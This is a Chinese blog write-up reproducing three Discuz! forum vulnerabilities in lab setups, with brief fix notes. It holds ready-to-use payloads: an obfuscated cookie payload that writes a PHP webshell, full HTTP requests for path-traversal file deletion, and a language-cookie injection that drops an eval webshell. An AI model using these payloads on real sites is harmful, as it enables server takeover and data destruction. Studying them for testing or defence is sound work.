简介
漏洞环境:不另作说明均为vulhub
参考链接:
百科:https://baike.baidu.com/item/discuz!/8680254?fromtitle=discuz&fromid=1946968&fr=aladdin
Crossday Discuz! Board(简称 Discuz!)是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。
wooyun-2010-080723
参考链接:
由于php 5.3.x版本里php.ini的设置里request_order默认值为GP,导致(\_REQUEST中不再包含)_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
我在别的博客上看到,这个漏洞也叫Discuz 7.x/6.x 全局变量防御绕过导致代码执行
。
漏洞复现
启动环境,访问http://IP:8080/install
安装discuz。
数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。
安装成功过后,点击默认板块
,进入到默认板块页面,点击已有的任意一个贴子,使用burp拦截抓包,在cookie中添加payload,GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
,点击发送,查看响应。
写入shell:
Cookie: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval(Chr(102).Chr(112).Chr(117).Chr(116).Chr(115).Chr(40).Chr(102).Chr(111).Chr(112).Chr(101).Chr(110).Chr(40).Chr(39).Chr(120).Chr(46).Chr(112).Chr(104).Chr(112).Chr(39).Chr(44).Chr(39).Chr(119).Chr(39).Chr(41).Chr(44).Chr(39).Chr(60).Chr(63).Chr(112).Chr(104).Chr(112).Chr(32).Chr(64).Chr(101).Chr(118).Chr(97).Chr(108).Chr(40).Chr(36).Chr(95).Chr(80).Chr(79).Chr(83).Chr(84).Chr(91).Chr(112).Chr(119).Chr(100).Chr(93).Chr(41).Chr(63).Chr(62).Chr(39).Chr(41).Chr(59))
即可在根路径下生成x.php
,连接密码为pwd
,POST
请求方式。
漏洞修复
7.x、6.x已经很老了,肯定是要进行升级到最新版,说是最新版也是18年发布的了。
他这个版本,我查到的是已经到了X3.4,注意前面的X。
x3.4-arbitrary-file-deletion
任意文件删除漏洞。
参考链接:
在测试任意文件上传漏洞的时候,目标服务端可能不允许上传php后缀的文件。如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用<!--#exec cmd="id" -->
语法执行任意命令。
漏洞复现
启动环境,访问http://IP:8080/install
安装discuz。
数据库地址填写db,数据库名为discuz。数据库的用户名和密码不能乱填,均为root,其他的可以根据自己的想法填写。
首先访问http://ip/robots.txt
文件,证明该文件存在。
首先注册一个用户,注册完成后登录。在个人设置页面找到formhash
字段,获取它的值,因为一会要用。
使用下面的请求包修改个人资料中的出生地,需要复制登录后的用户cookie和formhash到请求包中。
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: [ip]
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
至于直接抓修改出生地址请求包的方式行不行我不清楚了,因为复现的时候遇到问题,我不确定这样操作的话会不会影响结果,如果单纯是修改出生地址的话,应该没有影响。
再使用下面的请求包,进行文件删除操作,它是又重新上传了一个正常图片。注意修改formhash、ip以及cookie。
POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[formhash] HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------123821742118716
Content-Length: 200
Connection: close
Cookie: [cookie]
Upgrade-Insecure-Requests: 1
-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg
xx
-----------------------------123821742118716--
修改完成后发送请求包,再次访问robots.txt文件,发现报404 Not found
。
我试过那个写html文件,然后通过html文件上传正常图片进行删除的方式,但是没有复现成功。方式可以在csdn的博客文章中找到。
漏洞修复
直接将unlink语句删除,参考链接:
Discuz!ML V3.X 代码注入漏洞
漏洞环境:安鸾渗透实战平台
参考链接:
https://blog.csdn.net/weixin_42277564/article/details/99675105
该漏洞主要是通过控制缓存文件的内容,之后缓存文件又被系统调用从而触发,根据POC可知是通过构造Cookie中language的值进行代码注入,在language中构造错误代码判断漏洞触发文件。
漏洞影响版本为Discuz!ML V3.X,目前是到3.4。
漏洞复现
首先注意的是,是ML的版本,multilingual
的意思是多语言,不是说是3点几就一定存在这个漏洞。
访问首页,使用burp拦截抓包,在Cooke中的xxxxx_languane
后面添加要执行的php代码,如将其改为yGa2_2132_language=sc%27.phpinfo().%27;
。
使用file_put_contents() 函数写入一句话木马。
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["cmd"]);?>')).'
经过url编码:
%27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
访问网站根目录下的shell.php
。
蚁剑连接:
漏洞修复
缓存文件名固定即可(参考链接漏洞分析)。